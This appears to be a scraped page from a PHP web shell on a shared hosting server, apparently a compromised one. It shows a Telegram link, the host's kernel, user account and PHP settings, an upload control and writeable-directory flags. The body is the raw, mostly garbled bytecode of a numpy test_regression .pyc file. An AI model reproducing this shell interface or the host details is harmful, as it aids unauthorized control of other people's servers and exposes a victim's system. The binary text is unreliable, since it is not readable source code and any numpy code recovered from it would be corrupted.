https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/numpy/lib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/numpy/lib/tests/__pycache__/test_regression.cpython-310.pyc
o

6��aP �@sJddlZddlZddlZddlmZmZmZmZm	Z	m
Z
Gdd�d�ZdS)�N)�assert_�assert_equal�assert_array_equal�assert_array_almost_equal�
assert_raises�_assert_valid_refcountc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7S)8�TestRegressioncCs.tt�dg�t�ddg�t�ddg��dS)N�r���)r�np�poly1d��self�r�A/usr/lib/python3/dist-packages/numpy/lib/tests/test_regression.py�test_poly1d
s�zTestRegression.test_poly1dcCs>tj�d�}|��}tj|dd�tj|dd�t||�dS)N)�rT)�rowvarF)r�random�copy�covr�r�x�yrrr�test_cov_parameterss
z"TestRegression.test_cov_parameterscCs:td�D]}t�gd�ddg�t�gd�ddg�qdS)N�d)r	�r�r	r)rr	rrr)�ranger�digitize)r�irrr�test_mem_digitizes�z TestRegression.test_mem_digitizecCstgt�t�g���dS�N)rr�unique�arrayr
rrr�test_unique_zero_sized sz%TestRegression.test_unique_zero_sizedcCsVt�dd��}|t�d�t�d�t�d��|t�d�t�d�t�d�t�d��dS)NcWs|Sr"r)�argsrrr�<lambda>&sz3TestRegression.test_mem_vectorise.<locals>.<lambda>)r	rr	)rr	r	)r	r	r�rr)r�	vectorize�zeros)r�vtrrr�test_mem_vectorise$s
�z!TestRegression.test_mem_vectorisecCs0ttjddd�dg�ttjdd�g�dS)Nry�?)rr�mgridr
rrr�test_mgrid_single_element+sz(TestRegression.test_mgrid_single_elementcCsdd�}t�|�}t|�dS)NcSsdS)N�{r)rrrrr�p2sz1TestRegression.test_refcount_vectorize.<locals>.p)rr)r)rr0�vrrr�test_refcount_vectorize0s
z&TestRegression.test_refcount_vectorizecCs.tjtjtjdgdd�}ttjjt|d�dS)Nr	F)�rr3)rr�nanr�linalg�LinAlgError�getattr)rr0rrr�test_poly1d_nan_roots7sz$TestRegression.test_poly1d_nan_rootscCst�gdg�dS)Ng�?)r�polymulr
rrr�test_mem_polymul<szTestRegression.test_mem_polymulcCst�g�}t�|d�dS)Nz
asdasd	asdasd)rr$�append)rrrrr�test_mem_string_concat@s
z%TestRegression.test_mem_string_concatcCsBt�gd��}t�gd��}t�||�\}}t||||�dS)N�r	rr)r	rrr�)rr�polydivr)r�ur1�qr3rrr�
test_poly_divEszTestRegression.test_poly_divcCs8t�gd��}t�ddg�}t||k�t||k�dS)Nr=rr)rrrrrrr�test_poly_eqLszTestRegression.test_poly_eqcCs4gd�}gd�}gd�}t�||d�}t||�dS)N)g1$���ͱ�g�HP�B?g�{p#��g�p�I�#@g
K<�l�s�)Q�Z�[�\�]�^�_�`�a�b�cr�e�f�g�h�i�j�k�l�m�n�o�p�q�r�s�t�u�v�w�x�y�zr/�|�}�~��������������������������������������������)Q�"@�@�@�@r�� @�@�&@r�r�r��@r�r�r�r�r��$@r�r�r�r�r�r�g*@r�r�r�r�r�r�r�r�r�r��(@r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r�polyfitr)r�refrr�testedrrr�test_polyfit_buildSs
z!TestRegression.test_polyfit_buildcCshd}tjdtd�}t�||�\}}t|jtk|�d}tjdtd�}t�||�\}}t|jtk|�dS�NzWrong type, should be complexr��dtypezWrong type, should be float)r�ones�complexr?rr��int�float)r�msgrrAr3rrr�test_polydiv_typehsz TestRegression.test_polydiv_typecCstttjt�d�dd�dS)N)r	�
i)�bins)r�
ValueErrorr�histogramddr�r
rrr�test_histogramdd_too_many_binsssz-TestRegression.test_histogramdd_too_many_binscCsTd}tjdtd�}tt�|�jtk|�d}tjdtd�}tt�|�jtk|�dSr�)rr�r�r�polyintr�r�r�)rr�rrrr�test_polyint_typewsz TestRegression.test_polyint_typecCstt�t�gg���dSr")�listr�ndenumerater$r
rrr�test_ndenumerate_crash�sz%TestRegression.test_ndenumerate_crashcCs tt�tjg�t�dg��dSr")rrr$r4�asfarrayr
rrr�test_asfarray_none�s z!TestRegression.test_asfarray_nonecsVt�tj�jd}td|dd���fdd�}�fdd�}tt|�tt|�dS)	N�rg�������?r	c	s@d}t�|fd�}tjjd|�d�}d|t�|||||�<dS�Nrr>r)�size�rr�r�randint�ix_��n�ar ��thesizerr�dp��z4TestRegression.test_large_fancy_indexing.<locals>.dpcs@d}t�|fd�}tjjd|�d�}|t�|||||�dSr�r�r�r�rr�dp2�r�z5TestRegression.test_large_fancy_indexing.<locals>.dp2)rr��intp�itemsizer�rr�)r�nbitsr�r�rr�r�test_large_fancy_indexing�s
z(TestRegression.test_large_fancy_indexingcCs6t�ddg�}t�d|�}ttj||fj|k�dS)N)r��f4)�b�i4)r	)rr�r*r�r_)r�dtrrrr�test_void_coercion�sz!TestRegression.test_void_coercioncCs~ddl}ddl}|j}t|jd�|_z#zt�dt�d�i�Wnty*t	d��wW|j�
�||_dS|j�
�||_w)Nr�w�foor	zticket #1243)�os�sys�stdout�open�devnullr�whor$�	Exception�AssertionError�close)rr�r��	oldstdoutrrr�test_who_with_0dim_array�s��


�z'TestRegression.test_who_with_0dim_arraycCs2t��g}|D]}tt|t��t|dk�qdS)N�)r�get_includer�
isinstance�str)r�include_dirs�pathrrr�test_include_dirs�s

�z TestRegression.test_include_dirscCsxttt�t�dg�d�tj��ttt�dgd�tj��ttt�t�dg�d�tj��ttt�dgd�tj��dS)Nr	r)rr�r�polyderr�ndarrayr
rrr�test_polyder_return_type�s  z'TestRegression.test_polyder_return_typecCstddlm}tjgd�tjd�}gd�}t�d��tj�}tjtjtjg}z
|||||�WdSty9t	��w)Nr)�
append_fieldsr=r�)r�r��cr)
�numpy.lib.recfunctionsr�rr$�int32�eye�astype�float64r�r�)rr��base�names�data�dlistrrr�test_append_fields_dtype_list�s�z,TestRegression.test_append_fields_dtype_listcCs�ddlm}ddg}tj|d�|d�}t|tjdg|d��dd	d
gfg}tj|d�|d�}t|tjdg|d��dg}tj|d�|d�}t|tjd
g|d��dg}tj|d�|d�}dg}t|tj||d��dS)Nr)�StringIO)r��u1r)r�r�rz0 1 2 3r���rr	�rrr�)r�r�)r	r)r�r�)))rr	rr)r�r�r()r�)r�r�)rrrz0 1 2 3 4 5 6 7 8 9 10 11)))r�r�)rr>))��)r��	)r��)�ior�r�loadtxtrr$)rr�r�rr�rrr�test_loadtxt_fields_subarrays�sz,TestRegression.test_loadtxt_fields_subarrayscCs4tjdtd�}zt�|�WdStyt��w)Nrr�)rr*�bool�nansumr�r�)rr�rrr�test_nansum_with_boolean�s�z'TestRegression.test_nansum_with_booleancCs^Gdd�d�}ttjd�}zz
tj|�|d�Wn
ty"t��wW|��dS|��w)Nc@seZdZdZdS)z)TestRegression.test_py3_compat.<locals>.Cz3Old-style class in python2, normal class in python3N)�__name__�
__module__�__qualname__�__doc__rrrr�C�srr�)�output)r�r�r�r�info�AttributeErrorr�r�)rr�outrrr�test_py3_compat�s��zTestRegression.test_py3_compatN)rrrrrr!r%r,r.r2r8r:r<rBrCr�r�r�r�r�r�r�r�r�r�r�r�r�r�r	rrrrrs8		
r)�pytestr��numpyr�
numpy.testingrrrrrrrrrrr�<module>s
 

https://t.me/RX1948 - 2025